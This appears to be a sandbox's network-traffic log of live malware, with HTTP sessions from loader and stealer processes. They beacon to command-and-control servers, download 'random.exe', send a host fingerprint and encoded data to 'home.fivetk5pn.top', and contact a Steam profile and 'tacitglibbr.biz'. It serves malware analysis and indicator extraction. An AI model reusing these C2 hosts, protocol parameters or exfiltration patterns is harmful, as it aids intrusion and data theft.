Dec 16, 2024 17:04:36.805716038 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	50212	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:38.942286015 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:40.302928925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	50214	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:41.938802958 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:43.295635939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	50215	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:45.040368080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 17:04:46.383969069 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	50216	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:48.018718004 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 31 32 46 37 39 42 34 35 46 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB12F79B45F82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 17:04:49.368498087 CET	297	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 62 0d 0a 20 3c 63 3e 31 30 31 36 31 38 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b <c>1016182001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	50217	31.41.244.11	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:49.497554064 CET	145	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Mon, 16 Dec 2024 14:42:45 GMT If-None-Match: "67603c65-447c00"
Dec 16, 2024 17:04:50.864834070 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:50 GMT Last-Modified: Mon, 16 Dec 2024 14:42:45 GMT Connection: keep-alive ETag: "67603c65-447c00"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	50228	185.215.113.43	80	6264	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:53.232062101 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016182001&unit=246122658369
Dec 16, 2024 17:04:54.574116945 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 16:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	50230	138.124.35.95	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 17:04:54.695705891 CET	12360	OUT	POST /vJNDHPUXPCEIZZjTPbLp1734325090 HTTP/1.1 Host: home.fivetk5pn.top Accept: / Content-Type: application/json Content-Length: 303511 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 36 35 30 39 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734365093", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 50, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 556 }, { "name": "services.exe", "pid": 624 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 744 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 984 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 372 }, { "name": "svchost.exe", "pid": 772 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 16, 2024 17:04:54.815702915 CET	7416	OUT	Data Raw: 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 Data Ascii: igAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigA
Dec 16, 2024 17:04:54.815787077 CET	4944	OUT	Data Raw: 54 38 4a 76 44 2b 72 57 79 6e 45 77 6f 38 58 63 52 31 5a 35 56 77 31 65 4e 4f 72 50 43 79 6a 47 45 38 79 7a 6a 32 4e 57 4d 36 64 53 47 56 34 61 70 42 55 75 65 46 53 6e 5c 2f 41 47 68 69 38 76 6a 56 70 56 4b 4d 71 6b 54 39 70 38 43 5c 2f 44 65 50 Data Ascii: T8JvD+rWynEwo8XcR1Z5Vw1eNOrPCyjGE8yzj2NWM6dSGV4apBUueFSn\/AGhi8vjVpVKMqkT9p8C\/DePiLxjTpZjQnU4bySEMxzyznTjiE5Sjgss9rTcZwlj68JOpyShU+pYfGOlUhVjCR9O\/CP8Abn8T6r410rQ\/iZpXhuHw9rl7Dpw1jRLa902fQrq8kWG1u7pbzUr+C70pZmjivQ32e4tYHe+FzP8AZjZ3H6eV\/PV8R
Dec 16, 2024 17:04:54.815819979 CET	2472	OUT	Data Raw: 31 7a 77 76 62 32 46 32 76 6a 79 50 53 4e 45 73 64 63 69 54 36 4e 38 4f 2b 4b 66 68 4e 34 2b 5c 2f 61 71 2b 48 58 69 37 53 66 6a 46 2b 30 4a 6f 5c 2f 77 41 51 39 65 5c 2f 5a 54 38 51 65 4a 74 42 5c 2f 5a 71 38 54 36 66 38 41 46 48 34 62 66 44 50 Data Ascii: 1zwvb2F2vjyPSNEsdciT6N8O+KfhN4+\/aq+HXi7SfjF+0Jo\/wAQ9e\/ZT8QeJtB\/Zq8T6f8AFH4bfDPUfhhefEfwpBefFzxx8G\/H3gLw3e+HfjL4f8Q32leDbOLxhc+H\/HOj+H9a1TTrjwebcXN7ZTSTqzoKCcqdd4qKqQTqe9hsvx+YOMIxu6snDL6zqKF3Qw1PE42pbD4Su43UXsqdSU\/dlCnhqqhL3P3eIx+CwKnOU
Dec 16, 2024 17:04:54.815969944 CET	7416	OUT	Data Raw: 75 32 78 38 49 76 69 7a 34 44 2b 4f 33 77 30 38 47 66 47 44 34 58 61 74 65 2b 49 50 68 33 38 51 74 45 74 5c 2f 45 6e 67 7a 58 37 37 77 35 34 6e 38 4a 79 61 39 34 65 76 57 66 38 41 73 37 57 37 62 52 50 47 4f 6a 61 42 34 67 69 30 76 56 6f 45 58 55 Data Ascii: u2x8Iviz4D+O3w08GfGD4Xate+IPh38QtEt\/EngzX77w54n8Jya94evWf8As7W7bRPGOjaB4gi0vVoEXUNFvrvSre21nSLix1rSpLzSdQsb24i0vf0f7tUJVNH+7WKjVlhnP+RYiOHryoOVlWjRqunzKnPlpuzSejc61NJ6N1MNKMMRBd50JzhCtHelKcYzUXJJ\/wAQ3\/BZr\/lJR+0h\/wB0f\/8AVC\/C2vy\/r+mf9vrV
Dec 16, 2024 17:04:54.816059113 CET	2472	OUT	Data Raw: 6e 65 50 78 72 34 4d 5c 2f 46 58 39 6e 50 34 48 66 73 34 66 45 33 34 77 58 33 37 55 48 78 42 38 64 66 42 66 77 35 38 5a 66 6a 78 64 65 4c 66 69 35 2b 30 64 34 77 31 37 57 64 55 38 4a 2b 4c 4e 4e 2b 4d 33 69 58 77 50 34 75 2b 46 75 67 33 6e 69 62 Data Ascii: nePxr4M\/FX9nP4Hfs4fE34wX37UHxB8dfBfw58ZfjxdeLfi5+0d4w17WdU8J+LNN+M3iXwP4u+Fug3nibw94d1j\/AIRTwP8AEjTdQ+GHwp8I6TpOpHULa00PRfBt14pGpaTd6lEl7KTVf9zH6qsTCVRcvOqlTBxoe7KzVKvRxftqeI\/hvlpQV3iaTJXvxg6f7yU8dHAKEdb13Qx1WVKLV1PEwlgZw+qR\/fyisRVUeTCVrfd
Dec 16, 2024 17:04:54.936057091 CET	2472	OUT	Data Raw: 67 69 75 62 57 35 67 6b 57 57 43 34 74 35 34 31 6c 68 6e 68 6c 51 73 6b 73 55 73 62 4c 4a 48 49 6a 46 58 52 67 79 6b 67 67 31 50 58 77 74 2b 78 42 38 59 50 2b 45 74 38 47 7a 5c 2f 41 41 32 31 6d 36 33 36 5c 2f 77 43 42 6f 49 33 30 64 70 70 4e 30 Data Ascii: giubW5gkWWC4t541lhnhlQsksUsbLJHIjFXRgykgg1PXwt+xB8YP+Et8Gz\/AA21m636\/wCBoI30dppN01\/4SklEUCID8zf8I\/cvHpzchY7G60mKMHZIR901\/sX4ccc5Z4kcF5DxjlLjGhm+CjUxGG5lOeX5jRboZjl1Z6P2mDxlOtRUmo+2pRp4iCdKtTk\/8z+N+E8fwPxRm\/DOYpyrZbipQo4jlcYYzBVEquCxtNark
Dec 16, 2024 17:04:54.936300039 CET	2472	OUT	Data Raw: 75 5c 2f 73 78 65 41 50 32 53 50 67 46 2b 7a 56 38 52 34 39 61 38 58 66 44 7a 78 6c 38 64 72 6a 34 6b 66 46 6e 78 5c 2f 77 43 4f 50 41 75 75 61 78 71 56 38 66 69 46 34 6b 2b 42 6e 77 31 69 2b 43 5c 2f 68 4c 77 51 50 48 63 4d 31 33 34 77 67 30 71 Data Ascii: u\/sxeAP2SPgF+zV8R49a8XfDzxl8drj4kfFnx\/wCOPAuuaxqV8fiF4k+Bnw1i+C\/hLwQPHcM134wg0q5+PnirW7i01iK68XLoWv3OqaTY\/WX7Iv7Hvwd\/Yo+FusfCH4Lw+If+EU1z4heNviPfSeK9TtNZ1Y6n4z1BJItGjvLPTNJhHhvwb4cstA8A+CdPe0kudK8EeFvD2l31\/qt7aXGp3fgHh\/8A4JmfD3wvod18KtC
Dec 16, 2024 17:04:54.936336040 CET	2472	OUT	Data Raw: 2f 73 41 5c 2f 74 6a 2b 46 64 44 38 52 2b 4c 66 48 5c 2f 69 72 78 76 38 48 76 32 6c 66 69 66 38 57 66 69 78 38 51 72 7a 54 72 5c 2f 77 41 66 5c 2f 46 6e 34 6f 65 4b 5c 2f 68 66 72 79 61 39 34 31 38 56 7a 36 4c 70 6d 69 61 44 61 53 6d 78 30 37 53 Data Ascii: /sA\/tj+FdD8R+LfH\/irxv8Hv2lfif8Wfix8QrzTr\/wAf\/Fn4oeK\/hfrya9418Vz6LpmiaDaSmx07SPD+geH\/AA5omi+GfCfhLQfD\/hfw9pNjpWkWsI+WPiR4e1v4Af8ABvtqujfAme48N694a\/4J46Je2uv6ZNPpuqWl14m+GOl6t8S\/H0mp2kV5f2Wv3EeueLvGup+IoYdQ1WDV5rrW1jv9QQLN+xvxN8A6P8V\/h
Dec 16, 2024 17:04:54.936414003 CET	2472	OUT	Data Raw: 72 6e 78 68 2b 31 48 50 4d 33 39 36 57 62 39 6b 6e 78 6c 4a 49 33 5c 2f 41 6e 59 6e 38 61 30 39 53 5c 2f 35 53 37 2b 43 76 2b 30 63 48 78 50 5c 2f 41 50 57 6d 5c 2f 68 46 58 76 33 37 51 58 37 4b 33 68 6a 34 5c 2f 57 58 77 6c 75 68 38 51 5c 2f 69 Data Ascii: rnxh+1HPM396Wb9knxlJI3\/AnYn8a09S\/5S7+Cv+0cHxP\/APWm\/hFXv37QX7K3hj4\/WXwluh8Q\/ij8HviH8CfFreM\/hL8YPhFf+Crb4geDtWu\/Cmr+B9etUtPiN4E+JHw78Q6F4q8J67qWi+I\/D\/i\/wD4h0e+hlguorO21GwsLy1ueD\/2Y\/Dnhf4veCfjrqfxA+Jvj74meDP2ftS\/Z1k1\/xrqHg+X\/AIS3w
Dec 16, 2024 17:04:54.936434984 CET	4944	OUT	Data Raw: 78 4d 6e 68 36 30 4b 73 71 4d 39 59 53 6a 39 5a 78 38 36 6b 70 52 68 69 4d 33 34 30 72 34 57 76 54 6a 4a 31 38 4a 68 2b 4a 38 78 78 46 57 6e 6a 61 45 59 56 73 4e 4c 36 39 68 36 50 31 4c 47 59 64 50 45 55 70 55 4d 5a 68 61 61 68 57 6f 74 31 4a 79 Data Ascii: xMnh60KsqM9YSj9Zx86kpRhiM340r4WvTjJ18Jh+J8xxFWnjaEYVsNL69h6P1LGYdPEUpUMZhaahWot1Jy\/Mj9pj4c\/8FC\/2kP2aPi7+zVf\/sl\/sDeGNC+Jnwy17wBo+rQft8fHvUbfwHqVxpTQeDfFuj6Fbf8ABMrQw998P9fg0XxR4etbLVtFlt9S0OwNlqWmzRQ3UG\/8fbDxfpXx\/wD+COGmfEHUNO1fx7pvxj+J9

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49710	44.196.3.45	443	7044	C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:02:20 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-16 16:02:21 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:02:21 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-16 16:02:21 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49744	104.121.10.34	443	6608	C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:02:46 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-16 16:02:47 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 16 Dec 2024 16:02:46 GMT Content-Length: 25665 Connection: close Set-Cookie: sessionid=da52bddd6cc6d96fae4d8401; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-16 16:02:47 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-16 16:02:47 UTC	11186	IN	Data Raw: 3f 6c 3d 6b 6f 72 65 61 6e 61 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 6b 6f 72 65 61 6e 61 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e ed 95 9c ea b5 ad ec 96 b4 20 28 4b 6f 72 65 61 6e 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 74 68 61 69 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 74 68 61 69 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e e0 b9 84 e0 b8 97 e0 b8 a2 20 28 54 68 61 69 29 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: ?l=koreana" onclick="ChangeLanguage( 'koreana' ); return false;"> (Korean)</a><a class="popup_menu_item tight" href="?l=thai" onclick="ChangeLanguage( 'thai' ); return false;"> (Thai)</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49770	172.67.164.37	443	3832	C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:02:53 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 16:02:53 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 16:02:55 UTC	1007	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 16:02:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qiqmthprophn7aoffd86v3l0k7; expires=Fri, 11-Apr-2025 09:49:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FvHbZzn0GO2PDU0YXIzdI3R56j7b9KhLpQ5QRi0lAovukUxxCU40vwJLldVTFudZJt%2Bx7fYSCZ1Myk7ZPKtvaYXiEt5AsxMMSsLeU16eo8IU9BpgGagkMJh46olgvRfff5Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2fe67ceb263b3e-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7024&min_rtt=7001&rtt_var=2642&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=906&delivery_rate=417083&cwnd=32&unsent_bytes=0&cid=9b491d9e218d3fda&ts=1727&x=0"
2024-12-16 16:02:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 16:02:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.8	49828	172.67.164.37	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 16:03:08 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 16:03:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
